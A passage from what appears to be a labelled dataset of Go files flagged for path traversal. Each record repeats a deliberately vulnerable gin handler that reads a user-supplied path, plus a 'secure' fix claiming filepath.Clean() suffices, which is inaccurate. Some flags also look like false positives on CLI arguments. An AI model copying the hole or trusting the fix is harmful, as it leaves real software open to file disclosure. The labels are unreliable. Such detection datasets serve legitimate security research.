err)\n\t}\n\n\tgzipWriter, err := gzip.NewWriterLevel(outFile, gzip.BestCompression)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error Creating Compressed Archive %v: %v\", outputFile, err)\n\t}\n\n\tdefer gzipWriter.Close()\n\tdefer readerCloser.Close()\n\n\t_, err = io.Copy(gzipWriter, readerCloser)\n}\n\nfunc generateScript(descriptor Descriptor) {\n\tt, err := template.New(\"script\").Parse(loadScriptTemplate)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tlog.Printf(\"Writing load script '%s'\", loadScriptName)\n\tf, err := os.OpenFile(loadScriptName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0700)\n\tdefer f.Close()\n\n\tdata := map[string]interface{}{\n\t\t\"OutputFile\": outputFile,\n\t\t\"Descriptor\": descriptor,\n\t}\n\terr = t.Execute(f, data)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error generating load script: %v\", err)\n\t}\n}\n\nfunc newDockerClient() *docker.Client {\n\tcli, err := docker.NewEnvClient()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn cli\n}\n\nfunc findImageIds(images []Image, imageSummaries []types.ImageSummary) []string {\n\tvar imageIds []string\n\n\tfor _, imageSummary := range imageSummaries {\n\t\tif imageSummary.ParentID == \"\" {\n\t\t\tfor _, image := range images {\n\t\t\t\tif image.Public && !includePublic {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Record image ID if it's a root image and has a correct tag\n\t\t\t\tif containsTag(image.ImageNameNoRegistry(), imageSummary.RepoTags) {\n\t\t\t\t\timageIds = append(imageIds, imageSummary.ID)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn imageIds\n}\n\nfunc containsTag(tag string, tags []string) bool {\n\tfor _, searchTag := range tags {\n\t\tif searchTag == tag {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 175, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "595c51374b6674fd593146fb8feec539860f44d84a278b2bcc93c6a4b67b5ee7", "license": {"spdx": ["MIT"], "repo": "dhild/discord-message-bot", "path": "cmd/message-bot/main.go", "repo_head_hexsha": "70fb28ae6da76b8c8c0f7493e0a58bbe280025c0", "stack_hexsha": "ed82892d18e57c3b370eef016b4c58dae527e073", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 52, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"os\"\n\t\"io/ioutil\"\n\t\"log\"\n\n\t\"gopkg.in/yaml.v2\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"bytes\"\n\t\"strings\"\n\t_ \"crypto/sha512\"\n)\n\nvar (\n\tconfigFile string\n\ttts bool\n)\n\nfunc init() {\n\tenvConfigFile := os.Getenv(\"MESSAGE_BOT_CONFIG_FILE\")\n\tif envConfigFile == \"\" {\n\t\tenvConfigFile = \"message-bot.yaml\"\n\t}\n\tflag.StringVar(&configFile, \"config\", envConfigFile, \"override default config file (MESSAGE_BOT_CONFIG_FILE)\")\n\tflag.BoolVar(&tts, \"tts\", false, \"use Text-To-Speech\")\n}\n\nfunc main() {\n\tflag.Parse()\n\tif flag.NArg() < 1 {\n\t\tlog.Fatalf(\"no message given\")\n\t}\n\n\tmessage := strings.Join(flag.Args(), \" \")\n\n\twebhook, err := NewConfig(configFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to read config file: %v\", err)\n\t}\n\n\twebhook.Execute(WebhookData{message, tts})\n}\n\ntype Config struct {\n\tWebhookURL string `yaml:\"webhookURL\"`\n}\n\nfunc NewConfig(filename string) (*Config, error) {\n\tconfigData, err :=ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar config Config\n\terr = yaml.Unmarshal(configData, &config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &config, nil\n}\n\ntype WebhookData struct {\n\tContent string `json:\"content\"`\n\tTTS bool `json:\"tts\"`\n}\n\nfunc (c *Config) Execute(webhookData WebhookData) (err error) {\n\tdata, err := json.Marshal(webhookData)\n\tif err != nil {\n\t\tlog.Printf(\"unable to marshal data: %v\", err)\n\t\treturn\n\t}\n\tbuf := bytes.NewBuffer(data)\n\tresp, err := http.Post(c.WebhookURL, \"application/json\", buf)\n\tif err != nil {\n\t\tlog.Printf(\"unable to execute POST: %v\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tlog.Printf(\"status: [%s], content length: [%v]\", resp.Status, resp.ContentLength)\n\treturn\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 52, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "8be12f0a6d6792418ab4d937f67b642c4ccde0db325d8136e07afbe2c636598b", "license": {"spdx": ["Apache-2.0"], "repo": "2900/table2domain", "path": "generate.go", "repo_head_hexsha": "bf5047c0cdd07e30e6a7a073317eef2287d2e24e", "stack_hexsha": "214c7e9ac6352ffb52ccc2d8ce637b2b7c5e3254", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 132, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t_ \"github.com/go-sql-driver/mysql\"\n\t\"github.com/jinzhu/gorm\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\t\"table2domain/util\"\n)\n\nvar db *gorm.DB\nvar h string\nvar u string\nvar p string\nvar P int\nvar d string\nvar t string\nvar o string\n\nfunc main() {\n\tflag.StringVar(&h, \"h\", \"127.0.0.1\", \"地址\")\n\tflag.StringVar(&u, \"u\", \"root\", \"用户名\")\n\tflag.StringVar(&p, \"p\", \"\", \"密码\")\n\tflag.IntVar(&P, \"P\", 3306, \"端口\")\n\tflag.StringVar(&d, \"d\", \"\", \"数据库\")\n\tflag.StringVar(&t, \"t\", \"\", \"数据表\")\n\tflag.StringVar(&o, \"o\", \"./domain\", \"导出目录\")\n\tflag.Parse()\n\n\tdsn := fmt.Sprintf(\"%s:%s@(%s:%d)/%s?charset=utf8&parseTime=True&loc=Local\", u, p, h, P, d)\n\tdb = mysqlDb(dsn)\n\tdefer db.Close()\n\n\tvar table []string\n\tif t == \"\" {\n\t\tvar err error\n\t\ttable, err = tables()\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"没有可用表\")\n\t\t\tos.Exit(1)\n\t\t}\n\t} else {\n\t\tif strings.Index(t, \",\") > -1 {\n\t\t\ttable = strings.Split(t, \",\")\n\t\t} else {\n\t\t\ttable = []string{t}\n\t\t}\n\t}\n\n\tfor _, tt := range table {\n\t\tinfo := tableInfo(tt)\n\n\t\tgenerateStruct(tt, info)\n\t}\n\tlog.Println(\"生成完成...\")\n}\n\nfunc tables() ([]string, error) {\n\trows, err := db.Raw(\"show tables\").Rows()\n\tdefer rows.Close()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn nil, err\n\t}\n\n\tvar ts []string\n\tfor rows.Next() {\n\t\tvar table string\n\t\trows.Scan(&table)\n\t\tts = append(ts, table)\n\t}\n\n\treturn ts, nil\n}\n\nfunc mysqlDb(dsn string) *gorm.DB {\n\tdb, err := gorm.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\tlog.Println(\"数据库连接错误\", err)\n\t\tos.Exit(100)\n\t}\n\treturn db\n}\n\nfunc tableInfo(table string) [][]string {\n\trows, _ := db.Raw(fmt.Sprintf(\"DESC %s\", table)).Rows()\n\tvar columnInfo [][]string\n\tfor rows.Next() {\n\t\tvar field string\n\t\tvar t string\n\t\tvar isNull string\n\t\tvar k string\n\t\tvar df string\n\t\tvar extra string\n\n\t\trows.Scan(&field, &t, &isNull, &k, &df, &extra)\n\t\tinfo := []string{field, t, isNull, k, df, extra}\n\t\tcolumnInfo = append(columnInfo, info)\n\t}\n\treturn columnInfo\n}\n\nfunc generateStruct(tableName string, info [][]string) {\n\tbuilder := strings.Builder{}\n\theadBuilder := strings.Builder{}\n\theadBuilder.WriteString(\"package domain\\n\\n\")\n\tbuilder.WriteString(fmt.Sprintf(\"type %s struct {\\n\", util.CamelString(tableName)))\n\n\tfor _, v := range info {\n\t\tfieldName := util.CamelString(v[0])\n\t\tfieldType := parseType(v[1])\n\t\th := headBuilder.String()\n\t\tif strings.Index(fieldType, \"time\") > -1 && strings.Index(h, \"time\") < 0 {\n\t\t\tif strings.Index(h, \"import\") > -1 {\n\t\t\t\theadBuilder.WriteString(fmt.Sprintf(\" \\\"time\\\"\\n\"))\n\t\t\t} else {\n\t\t\t\theadBuilder.WriteString(\"import (\\n \\\"time\\\"\\n\")\n\t\t\t}\n\t\t}\n\n\t\tbuilder.WriteString(fmt.Sprintf(\" %s %s `json:\\\"%s\\\" gorm:\\\"column:%s\\\"`\\n\", fieldName, fieldType, util.SnakeString(v[0]), v[0]))\n\t}\n\tbuilder.WriteString(\"}\")\n\n\t// 生成文件\n\tfileName := fmt.Sprintf(\"%s%c%s.go\", o, os.PathSeparator, util.SnakeString(tableName))\n\tif _, err := os.Stat(o); err != nil && os.IsNotExist(err) {\n\t\tos.MkdirAll(o, os.ModePerm)\n\t}\n\n\tfp, err := os.OpenFile(fileName, os.O_RDWR | os.O_CREATE, 0644)\n\tdefer fp.Close()\n\tif err != nil {\n\t\tlog.Println(\"文件生成失败\", err)\n\t\tos.Exit(2)\n\t}\n\tif strings.Index(headBuilder.String(), \"import\") > -1 {\n\t\theadBuilder.WriteString(\")\\n\\n\")\n\t}\n\tfp.WriteString(headBuilder.String()+builder.String())\n}\n\nfunc parseType(dbType string) string {\n\tdbType = strings.ToUpper(dbType)\n\n\t// 字符串\n\tstringType := []string{\"CHAR\", \"VARCHAR\", \"TEXT\", \"LONGTEXT\", \"BLOB\", \"LONGBLOB\"}\n\tfor _, v := range stringType {\n\t\tif strings.Index(dbType, v) > -1 {\n\t\t\treturn \"string\"\n\t\t}\n\t}\n\n\t// 日期\n\tdateType := []string{\"DATE\", \"DATETIME\", \"TIMESTAMP\"}\n\tfor _, v := range dateType {\n\t\tif strings.Index(dbType, v) > -1 {\n\t\t\treturn \"time.Time\"\n\t\t}\n\t}\n\n\t// 整形\n\tif strings.Index(dbType, \"TINYINT\") > -1 {\n\t\treturn \"int8\"\n\t}\n\tif strings.Index(dbType, \"SMALLINT\") > -1 {\n\t\treturn \"int8\"\n\t}\n\tif strings.Index(dbType, \"MEDIUMINT\") > -1 {\n\t\treturn \"int16\"\n\t}\n\tintType := []string{\"INT\", \"INTEGER\"}\n\tfor _, v := range intType {\n\t\tif strings.Index(dbType, v) > -1 {\n\t\t\treturn \"int\"\n\t\t}\n\t}\n\tif strings.Index(dbType, \"BIGINT\") > -1 {\n\t\treturn \"int64\"\n\t}\n\n\t// 符点\n\tif strings.Index(dbType, \"FLOAT\") > -1 {\n\t\treturn \"float32\"\n\t}\n\tfloat64Type := []string{\"DOUBLE\", \"DECIMAL\", \"NUMERIC\"}\n\tfor _, v := range float64Type {\n\t\tif strings.Index(dbType, v) > -1 {\n\t\t\treturn \"float64\"\n\t\t}\n\t}\n\n\treturn \"string\"\n}\n\n", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 132, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "b3bc1e9c388b4c419856fb6b2e4513cf8be31b9b499f6e54dc81befd175f0aeb", "license": {"spdx": ["MIT"], "repo": "twinbird/cell", "path": "main.go", "repo_head_hexsha": "85a0b4d16748b5ec771cb9f264ca9f3692dd3339", "stack_hexsha": "87841ab9324216c5b2e8c3dd2342eb35c84f1076", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 178, "entireCode": "//go:generate go install golang.org/x/tools/cmd/goyacc@v0.1.1\n//go:generate goyacc parser.y\npackage main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n)\n\nconst CELL_VERSION = \"0.1.0\"\n\ntype ExecContext struct {\n\tcode string\n\ttopath string\n\tfrompath string\n\tspreadsheet *Spreadsheet\n\texitCode int\n\tscope *Scope\n\tndollars uint16\n\tfunctions map[string]*Function\n\tfuncRet Node\n\tdoExit bool\n\tdoBreak bool\n\tdoContinue bool\n\tdoReturn bool\n\tin *bufio.Reader\n\tout io.Writer\n\terrout io.Writer\n\tdoTextRowLoop bool\n\tdoExcelRowLoop bool\n\tinitSheet string\n}\n\nvar execContext *ExecContext\n\nfunc NewExecContext() *ExecContext {\n\tcon := &ExecContext{}\n\tcon.scope = NewScope()\n\tcon.functions = builtinFunctions()\n\tcon.in = bufio.NewReader(os.Stdin)\n\tcon.out = os.Stdout\n\tcon.errout = os.Stderr\n\tcon.scope.set(\"FS\", NewStringExpression(\" \"))\n\tcon.scope.set(\"OFS\", NewStringExpression(\" \"))\n\tcon.scope.set(\"RS\", NewStringExpression(\"\\n\"))\n\tcon.scope.set(\"ORS\", NewStringExpression(\"\\n\"))\n\tcon.scope.set(\"NR\", NewNumberExpression(0))\n\tcon.scope.set(\"SER\", NewNumberExpression(1))\n\n\treturn con\n}\n\nfunc main() {\n\tflag.Usage = usage\n\n\tcon := NewExecContext()\n\n\tvar pgpath string\n\tvar showVer bool\n\tvar fs string\n\tvar ser int\n\tflag.StringVar(&con.topath, \"to\", \"\", \"output xlsx filepath\")\n\tflag.StringVar(&con.frompath, \"from\", \"\", \"input xlsx filepath\")\n\tflag.StringVar(&pgpath, \"f\", \"\", \"program filepath\")\n\tflag.StringVar(&fs, \"F\", \"\", \"specify field separator\")\n\tflag.BoolVar(&showVer, \"V\", false, \"show version\")\n\tflag.BoolVar(&con.doTextRowLoop, \"n\", false, \"wrap your script inside while(gets()){... ;} loop\")\n\tflag.BoolVar(&con.doExcelRowLoop, \"N\", false, \"wrap your script inside for(NER = SER; NER <= LR; NER++){... ;} loop\")\n\tflag.IntVar(&ser, \"s\", 1, \"specify special var SER(start excel row)\")\n\tflag.StringVar(&con.initSheet, \"S\", \"\", \"specify active sheet by name\")\n\n\tflag.Parse()\n\n\t// -V option\n\tif showVer {\n\t\tshowVersion()\n\t}\n\n\targs := flag.Args()\n\tif len(args) < 1 && pgpath == \"\" {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\n\t// -f option\n\tif pgpath != \"\" {\n\t\tcon.code = readProg(pgpath)\n\t} else {\n\t\tcon.code = args[0]\n\t}\n\n\t// -F option\n\tif fs != \"\" {\n\t\tcon.scope.set(\"FS\", NewStringExpression(fs))\n\t}\n\n\t// -s option\n\tcon.scope.set(\"SER\", NewNumberExpression(float64(ser)))\n\n\t// text file specify\n\tif pgpath == \"\" {\n\t\tif 1 < len(args) {\n\t\t\tswitchStdin(con, args[1:])\n\t\t}\n\t} else {\n\t\tif 0 < len(args) {\n\t\t\tswitchStdin(con, args)\n\t\t}\n\t}\n\n\trun(con)\n\tos.Exit(con.exitCode)\n}\n\nfunc switchStdin(con *ExecContext, files []string) {\n\trary := make([]io.Reader, len(files))\n\n\tfor i := 0; i < len(files); i++ {\n\t\tf, err := os.Open(files[i])\n\t\tif err != nil {\n\t\t\tfatalError(\"could not open file '%s'\", f)\n\t\t}\n\n\t\trary[i] = f\n\t}\n\tcon.in = bufio.NewReader(io.MultiReader(rary...))\n}\n\nfunc showVersion() {\n\tfmt.Printf(\"Cell %s\\n\", CELL_VERSION)\n\tos.Exit(0)\n}\n\nfunc usage() {\n\tmsg := `Cell is an Excel file(xlsx) processing language for command line.\n\nUsage: cell [options] 'program' [file...]\nUsage: cell [options] -f programfile [file...]\n\nOptions:\n -to output-xlsx-file-path\n Specify the path of the processed Excel file that will be saved\n -from input-xlsx-file-path\n Specify the Excel file to be processed. No overwriting will be done. The default is an empty book containing only Sheet1.\n -f program-file\n Read the Cell program source from the file program-file, instead of from the first command line argument.\n -F fs\n Use fs for the input field separator (the value of the FS predefined variable).\n -n\n Wrap your script inside while(gets()){... ;} loop\n -N\n Wrap your script inside for(NER = SER; NER <= LR; NER++){... ;} loop (NER and SER, LR are predefined variables)\n -s row-no\n Specify the special variable SER(Start Excel Row) (default 1)\n -S\n Specify default active sheet by name\n -V\n Print version information.\n -h\n Show this help\n\nExamples:\n cell -to greeting.xlsx '[\"A1\"] = \"Hello, world\"'\n cell -F \":\" -to users.xlsx -n '[\"A\".NR] = $1' /etc/passwd`\n\n\tfmt.Fprintf(os.Stderr, \"%s\\n\", msg)\n}\n\nfunc readProg(filename string) string {\n\tif !fileExist(filename) {\n\t\tfatalError(\"program file '%s' is not found\", filename)\n\t}\n\n\tbytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tfatalError(\"on error occured reading file '%s'\", filename)\n\t}\n\n\treturn string(bytes)\n}\n\nfunc fileExist(filename string) bool {\n\t_, err := os.Stat(filename)\n\treturn err == nil\n}\n\nfunc beforeRun() {\n\t// setup spreadsheet\n\tsheet, err := NewSpreadsheet(execContext.frompath, execContext.topath)\n\tif err != nil {\n\t\tfatalError(\"on error occured loading xlsx file\")\n\t}\n\texecContext.spreadsheet = sheet\n\n\t// -S option\n\tif execContext.initSheet != \"\" {\n\t\texecContext.scope.set(\"@\", NewStringExpression(execContext.initSheet))\n\t}\n\n\t// -N option\n\tif execContext.doExcelRowLoop {\n\t\texecContext.code = \"for(NER = SER; NER <= LR; NER++){ \" + execContext.code + \"; }\"\n\t}\n\n\t// -n option\n\tif execContext.doTextRowLoop {\n\t\texecContext.code = \"while(gets()){ \" + execContext.code + \"; }\"\n\t}\n}\n\nfunc afterRun() {\n\t// request full calculate to excel\n\texecContext.spreadsheet.file.WorkBook.CalcPr.FullCalcOnLoad = true\n\n\tif execContext.topath != \"\" {\n\t\tif err := execContext.spreadsheet.writeSpreadsheet(); err != nil {\n\t\t\tfatalError(\"on error occured writting xlsx file\")\n\t\t}\n\t}\n}\n\nfunc run(con *ExecContext) {\n\texecContext = con\n\n\tbeforeRun()\n\texecScript()\n\tafterRun()\n}\n\nfunc execScript() int {\n\tyyDebug = 1\n\tyyErrorVerbose = true\n\n\tlexer := NewLexer(execContext.code)\n\tyyParse(lexer)\n\n\tlexer.ast.eval()\n\n\tif execContext.doBreak {\n\t\tfatalError(\"'break' is not allowed outside a loop\")\n\t}\n\tif execContext.doContinue {\n\t\tfatalError(\"'continue' is not allowed outside a loop\")\n\t}\n\n\treturn 0\n}\n\nfunc fatalError(format string, a ...interface{}) {\n\tif len(a) > 0 {\n\t\tfmt.Fprintf(os.Stderr, \"ERROR: \"+format+\"\\n\", a...)\n\t} else {\n\t\tfmt.Fprintf(os.Stderr, \"ERROR: \"+format+\"\\n\")\n\t}\n\tos.Exit(1)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 178, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "6f82bfa0072eaa2618e23f03ba6604aef53216bd2d609f05a67e4412746031aa", "license": {"spdx": ["MIT"], "repo": "nim4/gobertura", "path": "cmd/gobertura/gobertura.go", "repo_head_hexsha": "2dae5dcf0f3ea0e00acfbd8f250dc615538ddff9", "stack_hexsha": "ec46a8927d5582b30c479b00dfc51b596b47ad1e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 73, "entireCode": "package main\n\nimport (\n\t\"encoding/xml\"\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/nim4/gocover-cobertura/cobertura\"\n\t\"golang.org/x/tools/cover\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar (\n\t\tflagInput string\n\t\tflagOutput string\n\t\tflagSrc string\n\t\tflagPkg string\n\t)\n\tflag.StringVar(&flagInput, \"in\", \"coverprofile.txt\", \"path of coverage profile\")\n\tflag.StringVar(&flagOutput, \"out\", \"coverage.xml\", \"output path\")\n\tflag.StringVar(&flagSrc, \"src\", \"\", \"go source folder(will use current working directory if not set)\")\n\tflag.StringVar(&flagPkg, \"pkg\", \"\", \"package import path(will use `go.mod` if not set)\")\n\tflag.Parse()\n\n\tconvert(flagSrc, flagPkg, flagInput, flagOutput)\n}\n\nfunc convert(src string, pgk string, in string, out string) {\n\tif pgk == \"\" {\n\t\tdata, err := ioutil.ReadFile(\"go.mod\")\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfor _, line := range strings.Split(string(data), \"\\n\") {\n\t\t\tif strings.HasPrefix(line, \"module \") {\n\t\t\t\tpgk = strings.TrimSpace(strings.TrimPrefix(line, \"module \")) + \"/\"\n\t\t\t}\n\t\t}\n\t}\n\n\tif src == \"\" {\n\t\tvar err error\n\t\tsrc, err = os.Getwd()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tprofiles, err := cover.ParseProfiles(in)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcoverage := cobertura.Coverage{\n\t\tPackagePath: pgk,\n\t\tSources: []*cobertura.Source{\n\t\t\t{\n\t\t\t\tPath: src,\n\t\t\t},\n\t\t},\n\t\tPackages: nil,\n\t\tTimestamp: time.Now().UnixNano() / int64(time.Millisecond),\n\t}\n\terr = coverage.ParseProfiles(profiles)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tf, err := os.OpenFile(out, os.O_CREATE|os.O_WRONLY, 0600)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\twrite(f, xml.Header)\n\twrite(f, \"\\n\")\n\n\tencoder := xml.NewEncoder(f)\n\tencoder.Indent(\"\", \"\\t\")\n\terr = encoder.Encode(coverage)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\twrite(f, \"\\n\")\n}\n\nfunc write(f *os.File, str string) {\n\t_, err := fmt.Fprintf(f, str)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 73, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "ce17fc93184eab2ea0d3936f6dde3681d8378e17a051e2fa186fd51900602385", "license": {"spdx": ["MIT"], "repo": "michaelwooley/gophercises-urlshortener", "path": "main.go", "repo_head_hexsha": "8662f6bac4a1be1490119896d2787d342b40a407", "stack_hexsha": "3875f1ae234de78cfed07c87f37037cdb7a480ef", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 80, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/michaelwooley/gophercises-urlshortener/urlshort\"\n)\n\n// var yaml = `\n// - path: /urlshort\n// url: https://github.com/gophercises/urlshort\n// - path: /urlshort-final\n// url: https://github.com/gophercises/urlshort/tree/solution`\n\nvar jsonExample = `\n[\n\t{\n\t\t\"path\": \"/json\",\n\t\t\"url\": \"https://www.json.org/json-en.html\"\n\t},\n\t{\n\t\t\"path\": \"/geojson\",\n\t\t\"url\": \"https://tools.ietf.org/html/rfc7946\"\n\t}\n]\n`\n\nvar yamlFilename string\n\nfunc init() {\n\tconst defaultYAML = \"default-yaml.yml\"\n\n\tflag.StringVar(&yamlFilename, \"yaml-filename\", defaultYAML, \"Load this yaml file for use in \")\n\tflag.StringVar(&yamlFilename, \"f\", defaultYAML, \"Shorthand for `-yaml-filename`\")\n}\n\nfunc main() {\n\tflag.Parse()\n\n\tmux := defaultMux()\n\n\t// Build the MapHandler using the mux as the fallback\n\tpathsToUrls := map[string]string{\n\t\t\"/urlshort-godoc\": \"https://godoc.org/github.com/gophercises/urlshort\",\n\t\t\"/yaml-godoc\": \"https://godoc.org/gopkg.in/yaml.v2\",\n\t}\n\tmapHandler := urlshort.MapHandler(pathsToUrls, \"default\", mux)\n\n\t// Build the YAMLHandler using the mapHandler as the fallback\n\tyaml := readFromFile(yamlFilename)\n\tyamlHandler, err := urlshort.YAMLHandler(yaml, mapHandler)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjsonHandler, err := urlshort.JSONHandler([]byte(jsonExample), yamlHandler)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Println(\"Starting the server on :8080\")\n\thttp.ListenAndServe(\":8080\", jsonHandler)\n}\n\nfunc defaultMux() *http.ServeMux {\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/\", hello)\n\treturn mux\n}\n\nfunc hello(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintln(w, \"Hello, world!\")\n}\n\nfunc readFromFile(filename string) []byte {\n\tlog.Printf(\"Reading file `%s`\\n\", filename)\n\tfile, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn file\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := 